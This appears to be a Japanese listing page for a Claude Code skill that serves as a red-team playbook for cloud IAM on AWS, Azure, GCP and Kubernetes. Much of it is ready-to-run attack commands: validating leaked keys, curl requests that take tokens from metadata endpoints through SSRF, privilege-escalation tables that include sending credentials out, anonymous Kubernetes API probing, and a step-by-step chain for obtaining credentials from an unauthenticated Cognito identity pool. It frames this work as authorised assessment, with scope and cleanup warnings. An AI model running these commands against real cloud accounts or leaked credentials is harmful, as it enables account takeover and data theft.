cloud-iam-deep について
AWS、Azure、GCP、Kubernetesを対象とする、外部レッドチームやセキュリティ評価向けのクラウドID・権限テストスキルです。認証情報の検証や権限昇格経路に加え、許可範囲と操作記録に関する注意点をまとめています。
主な機能
- 01クラウド認証情報の識別と検証
- 02マルチクラウドの権限昇格経路の整理
- 03ロール連鎖とメタデータサービスの確認
- 04Kubernetes APIとトークンの評価
- 05安全な操作と後片付けの指針
活用シーン
- 01漏えいしたクラウドキーやトークンの検証
- 02SSRFからクラウドメタデータへの経路評価
- 03クラウド IAMの権限昇格可能性の確認
- 04露出したKubernetes認証情報の監査
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ elementalsouls/ claude-bughunter --skill cloud-iam-deepインストール後、Claude Code で/cloud-iam-deepを入力して読み込まれたか確認します。
詳細
使用する場面
次の場合に使用します:
- クラウド認証情報(キー、シークレット、トークン、JSON ファイル)が見つかった
- SSRF チェーンが IMDS/メタデータエンドポイントに到達した
- APK/Git の漏えいから、埋め込み型のクラウドキーが見つかった
- 偵察で、権限を検証できるパブリック S3/GCS/Azure-blob が判明した
- Kubernetes API またはサービスアカウントトークンが露出している
- クラウドホスト型インスタンスで RCE が発生した後、クラウドコントロールプレーンへ横展開する
次の場合は使用しないでください:
- オンプレミスのみの環境(AD 攻撃スキルを使用します。ただし外部のみという境界により対象外です)
- AWS 上にあるというだけの Web2 の脆弱性(該当する
hunt-*スキルを使用します)
認証情報の識別(最初の 60 秒)
# AWS access key patterns
AKIA[0-9A-Z]{16} # IAM user access key (long-term)
ASIA[0-9A-Z]{16} # STS temporary credential
AGPA[0-9A-Z]{16} # IAM group
AIDA[0-9A-Z]{16} # IAM user (user-id)
AROA[0-9A-Z]{16} # IAM role
ANPA[0-9A-Z]{16} # Managed policy
# AWS secret pattern (40-char base64-ish — context required)
[A-Za-z0-9/+=]{40} # AWS secret access key
# Azure
AccountKey=[A-Za-z0-9+/=]{86} # Storage account key
client_secret pattern + UUID # Azure AD app credential
# GCP service account JSON
{
"type": "service_account",
"project_id": "...",
"private_key_id": "...",
"private_key": "-----BEGIN PRIVATE KEY-----..."
}
# K8s SA token (JWT format — decode to confirm)
eyJhbGciOiJSUzI1... # decode kid claim to see issuer
AWS — 読み取り専用の検証(安全な最初のステップ)
# Set credential
export AWS_ACCESS_KEY_ID="AKIA..."
export AWS_SECRET_ACCESS_KEY="..."
# 1. WHO am I?
aws sts get-caller-identity
# Returns: UserId, Account, Arn
# Arn tells you: IAM user vs role, account ID, name
# 2. WHAT can I do? (the privesc question)
# Try common read-only first — failures still inform you
aws iam list-users 2>&1 | head -5
aws iam list-roles 2>&1 | head -5
aws iam list-policies 2>&1 | head -5
aws iam list-groups 2>&1 | head -5
# 3. WHAT policies are attached to me?
aws iam list-attached-user-policies --user-name <self>
aws iam list-user-policies --user-name <self> # inline policies
aws iam list-groups-for-user --user-name <self>
# 4. Service-by-service surface
aws ec2 describe-instances --max-items 1 2>&1 | head
aws s3 ls 2>&1 | head -10
aws lambda list-functions --max-items 5 2>&1 | head
aws rds describe-db-instances --max-items 5 2>&1 | head
aws secretsmanager list-secrets --max-results 5 2>&1 | head
aws ssm describe-parameters --max-results 5 2>&1 | head
# 5. Audit any cross-account / external trust
aws iam list-roles --query 'Roles[?contains(AssumeRolePolicyDocument.Statement[0].Principal.AWS, `arn:aws:iam::`)]' 2>&1 | head -20
AWS の権限昇格パターン(24 件以上を文書化 — iam_privesc の手法)
クイックリファレンス — 次の IAM アクションが可能な場合は、記載の手法で権限を昇格します:
| 利用可能なアクション | 権限昇格の方法 |
|---|---|
iam:CreateAccessKey | 任意のユーザーのアクセスキーを作成 → なりすます |
iam:CreateLoginProfile | ユーザーにコンソールパスワードを設定 → ログインする |
iam:UpdateLoginProfile | ユーザーのコンソールパスワードをリセットする |
iam:AttachUserPolicy | 自分に AdministratorAccess をアタッチする |
iam:AttachGroupPolicy | 所属グループに AdministratorAccess をアタッチする |
iam:AttachRolePolicy + sts:AssumeRole | 引き受け可能なロールにアタッチする |
iam:PutUserPolicy | 自分に AdministratorAccess のインラインポリシーを設定する |
iam:PutGroupPolicy | グループにインラインポリシーを設定する |
iam:PutRolePolicy | 引き受け可能なロールにインラインポリシーを設定する |
iam:AddUserToGroup | 自分を管理者グループに追加する |
iam:UpdateAssumeRolePolicy + sts:AssumeRole | 信頼ポリシーを変更して自分に許可する |
iam:CreatePolicyVersion | アタッチ済みポリシーの v2 を管理者権限で作成する |
iam:SetDefaultPolicyVersion | アタッチ済みポリシーを管理者権限のバージョンに切り替える |
iam:PassRole + ec2:RunInstances | 管理者ロールで EC2 を起動 → インスタンス認証情報を使用する |
iam:PassRole + lambda:CreateFunction/InvokeFunction | 管理者ロールでコードを実行する |
iam:PassRole + cloudformation:CreateStack | 管理者としてリソースを作成する CF スタック |
iam:PassRole + glue:CreateDevEndpoint | 管理者ロールでノートブックを実行する |
iam:PassRole + datapipeline | 管理者ロールでパイプラインを実行する |
iam:PassRole + codestar:CreateProject | 新しいプロジェクトに管理者ロールが付与される |
ec2:RunInstances(AMI に管理者インスタンスプロファイルがすでにある場合) | インスタンスを起動し、IMDS から認証情報を外部へ送信する |
lambda:UpdateFunctionCode(関数に管理者ロールがある場合) | コードを置き換え → 認証情報を外部へ送信する |
lambda:UpdateFunctionConfiguration | 外部送信を行うレイヤー/環境変数を追加する |
cloudformation:UpdateStack | スタックを変更して自分に管理者権限を付与する |
sts:AssumeRole(信頼ポリシーで許可されている場合) | 直接、権限を昇格する |
破壊的な手法の多くは、外部レッドチームのスコープ外です。経路を文書化し、必ずしも実行しないでください。
AWS — STS/アカウント間/ロールチェーン
# Enumerate roles you can assume across accounts
aws iam list-roles --query 'Roles[].[RoleName,AssumeRolePolicyDocument]' --output json > /tmp/roles.json
# Parse for "Principal.AWS" containing different account IDs
# Assume a role
aws sts assume-role --role-arn "arn:aws:iam::OTHER_ACCT:role/CrossAccountRole" --role-session-name "rt-1"
# Set new creds
export AWS_ACCESS_KEY_ID="ASIA..."
export AWS_SECRET_ACCESS_KEY="..."
export AWS_SESSION_TOKEN="..."
# Verify
aws sts get-caller-identity # should now show OTHER_ACCT
# Re-enumerate from new identity (chain continues)
混乱した代理人のパターン: sts:ExternalId がない場合や、arn:aws:iam::*:role/* を許可する信頼ポリシーを探します。ExternalId が必須でなければ、誰でもロールを引き受けられます。
SSRF を介した AWS IMDSv1/IMDSv2 の悪用
# IMDSv1 (legacy, still common — straight GET):
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Returns role name → fetch creds:
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
# JSON with AccessKeyId, SecretAccessKey, Token, Expiration
# IMDSv2 (requires PUT to get a token first — usually mitigates SSRF):
curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"
TOKEN=...
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/
# SSRF bypass for IMDSv2:
# Most server-side fetchers don't issue PUT requests → IMDSv2 blocks them.
# Exception: SSRF in functions that themselves perform requests with custom headers.
Azure — 認証情報の検証
# Login with a credential
az login --service-principal -u <appId> -p <password> --tenant <tenantId>
# OR with managed identity (from inside Azure VM)
az login --identity
# Who am I?
az account show
# Subscriptions
az account list --output table
# Role assignments (Azure RBAC)
az role assignment list --assignee <objectId> --all
az role assignment list --all --query '[?principalId==`<objectId>`]' --output table
# Resources I can read
az resource list --output table | head -30
az storage account list --output table
az keyvault list --output table
az vm list --output table
Azure — マネージド ID の悪用
# From inside Azure VM (post-RCE or SSRF to IMDS-equivalent):
# Endpoint: http://169.254.169.254/metadata/identity/oauth2/token
curl -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
# Returns access_token for the Managed Identity. Use:
TOKEN="..."
curl -H "Authorization: Bearer $TOKEN" "https://management.azure.com/subscriptions?api-version=2020-01-01"
# Get token for Key Vault
curl -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net"
# Get token for Graph
curl -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://graph.microsoft.com"
# → If Managed Identity has Graph permissions, read all M365 data
Azure の権限昇格パターン
| 利用可能なアクション | 権限昇格の方法 |
|---|---|
テナントでの Microsoft.Authorization/roleAssignments/write | 自分に Owner を割り当てる |
Microsoft.Authorization/roleDefinitions/write | ロール定義を変更して権限を追加する |
Microsoft.Compute/virtualMachines/runCommand/action | VM 上でコマンドを実行する(VM の MI を使用) |
Microsoft.KeyVault/vaults/secrets/getSecret/action | すべての KV シークレットを読み取る |
Microsoft.Storage/storageAccounts/listkeys/action | すべてのストレージ BLOB を読み取る |
Microsoft.Web/sites/publishxml/action | 発行プロファイルを取得 → アプリで RCE を実行する |
Microsoft.Web/sites/host/listkeys/action | 関数アプリのキー → 関数トリガー経由で RCE を実行する |
Microsoft.AAD.Directory.*(App reg)+ RoleManagement.ReadWrite.Directory | 自分に Global Admin を付与する |
GCP — サービスアカウント JSON
# Activate
gcloud auth activate-service-account --key-file=sa-leaked.json
# Who am I?
gcloud auth list
gcloud config get-value account
gcloud config get-value project
# What roles does this SA have? (project-level only — not org-level)
gcloud projects get-iam-policy <projectId> \
--flatten="bindings[].members" \
--format="table(bindings.role)" \
--filter="bindings.members:<sa-email>"
# Service-by-service:
gcloud compute instances list 2>&1 | head
gcloud storage buckets list 2>&1 | head
gcloud secrets list 2>&1 | head
gcloud functions list 2>&1 | head
gcloud sql instances list 2>&1 | head
gcloud container clusters list 2>&1 | head
GCP の権限昇格パターン
| 保有している権限 | 権限昇格の方法 |
|---|---|
上位権限の SA に対する iam.serviceAccounts.getAccessToken | その SA のトークンを取得する |
iam.serviceAccounts.implicitDelegation | 委任先の SA を経由して連鎖させる |
上位権限の SA に対する iam.serviceAccounts.signBlob / signJwt | その SA の JWT を偽造する |
iam.serviceAccountKeys.create | 任意の SA の新しいキーを作成し、なりすます |
iam.serviceAccounts.setIamPolicy | 自分になりすまし権限を付与する |
iam.roles.update(カスタムロールに対する権限) | 自分が持つロールに管理者権限を追加する |
cloudfunctions.functions.update(関数が高権限の SA として実行される) | コードを置き換えて認証情報を外部に流出させる |
cloudfunctions.functions.call と上記の権限 | 置き換えた関数を実行する |
compute.instances.setMetadata | ssh-keys メタデータを追加し、root として SSH 接続する |
compute.instances.setServiceAccount | インスタンスに上位権限の SA を割り当てる |
cloudbuild.builds.create(ビルドがプロジェクトの SA として実行される) | ビルドで攻撃者のコードを実行する |
deploymentmanager.deployments.create | DM SA としてリソースを作成する |
GCP IMDS 攻撃(SSRF または RCE 後)
# GCP IMDS endpoint:
curl -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"
# Returns access token. Use:
TOKEN=...
curl -H "Authorization: Bearer $TOKEN" \
"https://cloudresourcemanager.googleapis.com/v1/projects"
Kubernetes — 公開された API / SA トークン
# Check anonymous access on K8s API
curl -sk "https://k8s.target.com:6443/api/v1/namespaces"
# Anonymous binding (system:anonymous user) — surprisingly common
curl -sk "https://k8s.target.com:6443/api/v1/pods?limit=1"
# If SA token exfil'd (eyJ...):
export TOKEN="eyJ..."
kubectl --token=$TOKEN --server=https://k8s.target.com:6443 --insecure-skip-tls-verify get namespaces
kubectl --token=$TOKEN --server=https://k8s.target.com:6443 --insecure-skip-tls-verify auth can-i --list
kubectl --token=$TOKEN --server=https://k8s.target.com:6443 --insecure-skip-tls-verify get pods -A
kubectl --token=$TOKEN --server=https://k8s.target.com:6443 --insecure-skip-tls-verify get secrets -A
K8s の権限昇格パターン
| 保有している権限 | 権限昇格の方法 |
|---|---|
高権限の Pod に対する pods/exec | 管理者の SA トークンを持つ Pod 内で exec を実行する |
pods/create と serviceaccounts/use | 管理者の SA トークンをマウントする Pod を作成する |
secrets/get | クラスター内の任意のサービスアカウントトークンを読み取る |
clusterrolebindings/create | 自分に cluster-admin を付与する |
roles/escalate または clusterroles/escalate | ロールに権限を追加する |
nodes/proxy | 任意のノード上の kubelet にプロキシし、kubelet 経由で exec を実行する |
ロールに対する bind 動詞 | 自分が持っていないロールを主体にバインドする |
ユーザー/グループ/SA に対する impersonate | 別のプリンシパルとして操作する |
ツールのリファレンス
| ツール | クラウド | 用途 |
|---|---|---|
| Pacu | AWS | 100 以上のモジュールを備えた、レッドチーム向けの総合フレームワーク |
| enumerate-iam.py | AWS | API 呼び出しのリストを総当たりし、権限を検出する |
| PMapper | AWS | 権限昇格の経路をグラフとして可視化する |
| CloudFox | AWS | 偵察に特化(リソースを列挙し、権限昇格は行わない) |
| Prowler | AWS/Azure/GCP | コンプライアンススキャンと列挙 |
| ScoutSuite | AWS/Azure/GCP/OCI | マルチクラウド監査 |
| AzureHound | Azure | Azure 用の BloodHound 形式グラフ |
| MicroBurst | Azure | Azure に特化した偵察および悪用モジュール |
| ROADtools | Azure | Entra ID 列挙ツールキット |
| GCPBucketBrute | GCP | GCS バケットの権限を列挙する |
| gcpwn | GCP | GCP に特化したエクスプロイトフレームワーク |
| Peirates | K8s | コンテナー/クラスターのエクスプロイトツールキット |
| kube-hunter | K8s | クラスターの内側または外側から自動スキャンする |
| kubectl-trace | K8s | プロセスをトレースする(足がかりを得た後) |
アンチパターン
- 明示的な OK なしに書き込み/削除操作を実行しないでください — IAM の変更は破壊的で、監査ログに記録されます
- アカウントのスコープ内にあるすべてのものを列挙しないでください — ユーザーが 50,000 人いるアカウントに対する
aws iam list-usersは、目立ち、時間もかかります - 正しいアカウントであることを確認せずに、テスト用ではない認証情報で
aws *を使わないでください — 誤って本番環境に接続すると、キャリアに影響するリスクがあります - 「認証情報を持っている」ことと「その認証情報が有効である」ことを混同しないでください — まず STS で有効期限/ローテーションを必ず確認してください
- あるアカウントの STS トークンが別のアカウントでも使えると思い込まないでください — リージョンの制限や信頼ポリシーが適用されます
- CloudTrail/Activity Log を意識することを怠らないでください — すべての API 呼び出しが記録されます。
mid-engagement-ir-detectionと併用してください - SOW が許可する範囲を超えて深くピボットしないでください — 管理者の認証情報を見つけても、それを使ってよいとは限りません。読み取り専用のエンゲージメントもあります
隣接するスキルとの連携
hunt-cloud-misconfig— まず認証情報を見つけます(公開バケット、SSRF 経由の IMDS、漏えいした JSON)hunt-ssrf— SSRF→IMDS は、クラウドのコントロールプレーンに侵入する典型的な経路ですapk-redteam-pipeline— APK からのシークレット抽出で、クラウド認証情報が見つかることがよくありますsupply-chain-attack-recon— CI/CD パイプラインにはクラウド認証情報が保存されています。それを見つけるには別のワークフローが必要ですm365-entra-attack— Azure のクロスプロダクト攻撃です。Managed Identity トークンは Graph にも利用できますmid-engagement-ir-detection— クラウドのコントロールプレーンのアクティビティは監視されています。緩和措置が取られることを想定してください
重大度の評価ガイダンス
| 発見事項 | 重大度 |
|---|---|
ポリシーで *:* が設定された AWS アクセスキー → 管理者権限を確認済み | Critical |
本番プロジェクトで roles/owner が付与された GCP SA JSON | Critical |
| Owner ロールを持つ、インターネットに公開された VM 上の Azure MI | Critical |
| 本番データストアへの読み取り専用権限を持つ漏えい認証情報 | High(データの機密性によっては Critical) |
| 特権昇格の経路はあるが、まだ管理者権限はない漏えい認証情報 | High |
| 非機密データへの読み取りアクセスのみを持つ漏えい認証情報 | Medium |
| 匿名でアクセス可能な公開バケット — 一覧表示のみ | Low/Medium |
| 匿名でアクセス可能なバケット — 書き込み権限あり | High |
クリーンアップの徹底(成果物の衛生管理)
エンゲージメント中に以下を行った場合:
sts:AssumeRoleを使ってロールを連鎖させた場合 — ロール名と時刻を IoC に記録してください- IAM リソース(テストユーザー、ロール、ポリシー)を作成した場合 — 明示的なクリーンアップ確認とともに一覧にしてください
- 機密データ(Secrets Manager、KMS キー、Storage blob の内容)を読み取った場合 — データを閲覧したものの、エンゲージメントのシステム外には持ち出していないことを成果物に記載してください
クラウド上のアクティビティは簡単に監査できます。エンゲージメント後、クライアントは必ずそれを見つけます。後で不意を突かれるより、今のうちに記録しておきましょう。
AWS Cognito Identity Pool — 未認証ロールへの攻撃チェーン(2024-2026 年の攻撃対象領域)
AWS Cognito には、混同されがちな別個のサービスが 2 つあります。User Pools(認証プロバイダー)と Identity Pools(フェデレーション ID → IAM 認証情報)です。Identity Pools では「Enable access to unauthenticated identities」を設定できます。これにより、任意の匿名呼び出し元が cognito-identity:GetId → cognito-identity:GetCredentialsForIdentity を通じて IAM ロールを取得できます。モバイルアプリや SPA では、ページバンドルに IdentityPoolId が含まれています。開発者は、特に AWS Amplify/Pinpoint/CloudWatch RUM 用にプールを設定し、ロールポリシーを絞り込んでいない場合、未認証ロールに過剰に広い IAM 権限を付与しがちです。
ステップ 1 — IdentityPoolId を見つける
IdentityPoolId は、AWS の設計上 公開識別子 です(<region>:<UUID> 形式)。検索対象:
# JS bundle / SPA regex (against *.js, *.html, source-map files)
grep -ErohE "identityPoolId[\"'`\s:=]+[\"']([a-z]{2}-[a-z]+-[0-9]:[0-9a-f-]{36})[\"']" .
grep -ErohE "IdentityPoolId[\"'`\s:=]+[\"']([a-z]{2}-[a-z]+-[0-9]:[0-9a-f-]{36})[\"']" .
grep -ErohE "\"PoolId\"\s*:\s*\"([a-z]{2}-[a-z]+-[0-9]:[0-9a-f-]{36})\"" .
# Mobile APK (after jadx decompile)
grep -rEi "identity[_-]?pool[_-]?id" decoded/
grep -rE "\"[a-z]{2}-[a-z]+-[0-9]:[0-9a-f-]{36}\"" decoded/
# Also check
amplifyconfiguration.json
awsconfiguration.json
aws-exports.js
.env.js
*.js.map
Wayback CDX のキャプチャ、apex ドメインと IdentityPoolId の組み合わせによる GitHub コード検索、index.html からリンクされた JS チャンクは、成果の高い検索対象です。
ステップ 2 — GetId(未認証)
aws cognito-identity get-id \
--identity-pool-id us-east-1:abcd1234-5678-90ab-cdef-1234567890ab \
--region us-east-1 \
--no-sign-request
--no-sign-request は重要です。CLI が環境内の AWS 認証情報を探さないようにします。{"IdentityId": "us-east-1:<uuid>"} が返されます。NotAuthorizedException が返された場合、未認証 ID は無効です。ここで終了し、悪用できません。
ステップ 3 — GetCredentialsForIdentity
aws cognito-identity get-credentials-for-identity \
--identity-id us-east-1:<returned-uuid> \
--region us-east-1 \
--no-sign-request
有効期間が約 1 時間の実際の STS 認証情報が返されます:AccessKeyId(ASIA…)、SecretKey、SessionToken、Expiration。
ステップ 4 — ロール ARN を確認する
export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...
aws sts get-caller-identity
arn:aws:sts::<account>:assumed-role/Cognito_<PoolName>Unauth_Role/CognitoIdentityCredentials のようなロール ARN が返されます。この時点でアカウント ID も明らかになります。
ステップ 5 — ロールの権限を列挙する
直接確認(まれ):
aws iam get-role --role-name Cognito_<PoolName>Unauth_Role
aws iam list-role-policies --role-name Cognito_<PoolName>Unauth_Role
aws iam list-attached-role-policies --role-name Cognito_<PoolName>Unauth_Role
ブラックボックス方式(通常はこちら) — 価値の高いサービス全体に権限プローブを送り、AccessDenied と成功を見分けます。Pacu の iam__enum_permissions --role-name <name> は約 500 の IAM アクションを総当たりで確認します。Andrés Riancho の enumerate-iam.py は約 1000 件を対象とします。よくある過剰な権限:s3:Get*/s3:List*、dynamodb:Scan、lambda:InvokeFunction、appsync:GraphQL、cognito-idp:AdminCreateUser、iam:PassRole、kms:Decrypt。
深刻度の基準
| 指摘事項 | 深刻度 | 根拠 |
|---|---|---|
*:* または AdministratorAccess を持つ未認証ロール | Critical(9.8以上) | AWS アカウント全体の乗っ取り |
本番環境の顧客バケットに対する s3:Get* / s3:List*、またはユーザーテーブルに対する dynamodb:Scan を持つ未認証ロール | Critical(9.1~9.8) | 大規模な PII 漏えい/データ侵害 |
本番環境の API に対する appsync:GraphQL、または内部 Lambda に対する lambda:InvokeFunction を持つ未認証ロール | Critical(9.0) | 認証済みバックエンドへのアクセス |
関連付けられた User Pool に対する cognito-idp:Admin* を持つ未認証ロール | Critical(9.1) | 大規模なアカウント乗っ取りの手段 |
iam:PassRole と関数作成権限を持つ未認証ロール | Critical(9.8) | 管理者権限への昇格が文書で確認されている |
Web ホスティングバケットに対する s3:PutObject を持つ未認証ロール | High(8.1) | 格納型 XSS/サプライチェーン攻撃 |
顧客の CMK に対する kms:Decrypt を持つ未認証ロール | High(7.5~8.5) | 暗号文にアクセスできるかどうかによる |
| ハードコードされた機密性のない単一リソースに対する読み取り専用権限を持つ未認証ロール | Medium(5.3) | ビジネスへの影響が限定的 |
| 未認証の ID が有効だが、ロールポリシーですべて拒否される | Informational | ベストプラクティスからの逸脱のみ |
開示事例/信頼できる解説記事
- Andres Riancho — 「Misconfigured Cognito Identity Pools」(2020年、2023年更新) — この種の攻撃を確立した初期の調査です。デフォルトの
*ポリシーを持つ未認証プールに対するGetCredentialsForIdentityを扱っています。andresriancho.com - Rhino Security Labs — Pacu の
cognito__enum_identity_poolsモジュール — 攻撃チェーンのステップ 1~5 を自動化する実用ツールです。github.com/RhinoSecurityLabs/pacu - NotSoSecure / Claranet — 「Exploiting weak configurations in Amazon Cognito」(2023年11月) — identityPoolId の抽出 → ゲストロールの引き受け → S3/DynamoDB/Lambda の列挙を解説しています。HTML 内でプール ID が公開されやすい 3 つの SDK として、RUM、Amplify、Pinpoint を挙げています。notsosecure.com
- HackTricks Cloud —
aws-cognito-unauthenticated-enum— ステップ 1~5 を網羅した標準的な手順書です。cloud.hacktricks.wiki - Spaceraccoon / Eugene Lim — 「Mass Account Takeover via Cognito IdentityPool」(Medium、2020年) — SaaS プロバイダーが Amplify の設定で IdentityPoolId を公開しており、未認証ロールには関連付けられた User Pool に対する
cognito-idp:AdminConfirmSignUpとAdminUpdateUserAttributesが付与されていました。あらゆるサインアップの密かな確認とメールアドレスの変更により、大規模なアカウント乗っ取りが可能になりました。 - Datadog Security Labs — 「Following AWS Logs Backwards: Cognito Identity Pool Abuse」(2024年) — Datadog の顧客基盤全体のテレメトリから、実際に発生した Cognito プールの悪用を示しています。プールのかなりの割合で、必要最小限を超える広範なポリシーが組み合わされていました。securitylabs.datadoghq.com
報告時のヒント
報告には必ず以下を含めてください:
sts get-caller-identityの出力(ロール ARN とアカウント ID を証明します)- Pacu の
iam__enum_permissionsの JSON 出力(付与されたアクションを証明します) - 具体的なデータ取得 PoC(S3 オブジェクト一覧のサンプル 1 件、PII を伏せた DynamoDB レコード 1 件)
3 つすべてがない場合、トリアージ担当者は深刻度を Medium に引き下げます。60 秒でできるテストは GetId → GetCredentialsForIdentity → sts get-caller-identity です。匿名でステップ 3 まで到達できれば、指摘事項になります。
相互参照:hunt-cloud-misconfig → CloudWatch RUM weaponization では、この種の攻撃のうち、RUM に埋め込まれた特定の亜種を扱っています。
関連するスキルとチェーン
hunt-ssrf— クラウド認証情報に至る外部経路の大半は、SSRF によってメタデータサービスに到達することから始まります。チェーンの基本要素:SSRF + IMDSv1 → インスタンスロールのトークン →cloud-iam-deepの権限昇格パターンによって、本番環境の S3 / Secrets Manager に到達します。hunt-cloud-misconfig— 公開バケットと設定情報の露出は、最もよく見られる認証情報の漏えい経路です。チェーンの基本要素:クラウドの設定ミス(公開 S3 内の.env)+ 漏えいした AWS アクセスキー → IAM の列挙 →iam:PassRoleチェーンによる管理者権限の取得。supply-chain-attack-recon— CI/CD には、長期間有効なデプロイ認証情報が保持されていることがよくあります。チェーンの基本要素:GitHub Actions の OIDC 設定ミスの露出 + AssumeRole 権限 →cloud-iam-deepによるクロスアカウントのロール引き受け。m365-entra-attack— Azure Managed Identity は Entra サービスプリンシパルと重複します。チェーンの基本要素:Azure App Service の SSRF → Managed Identity トークン →m365-entra-attackによる Graph API の列挙 → テナント間の権限昇格。security-arsenal— Cloud IAM 権限昇格ペイロードパックを読み込みます(AWS 24 種類以上、Azure 8 種類以上、GCP 6 種類以上の権限昇格パターンを、aws cliのワンライナーとともに収録)。triage-validation— Server-State-vs-Policy ゲートを適用します。許容的な IAM ポリシーだけでは報告対象になりません。報告する前に、実際に特権操作(例:本番環境のシークレットの読み取り、クロスアカウントロールの作成)を実証してください。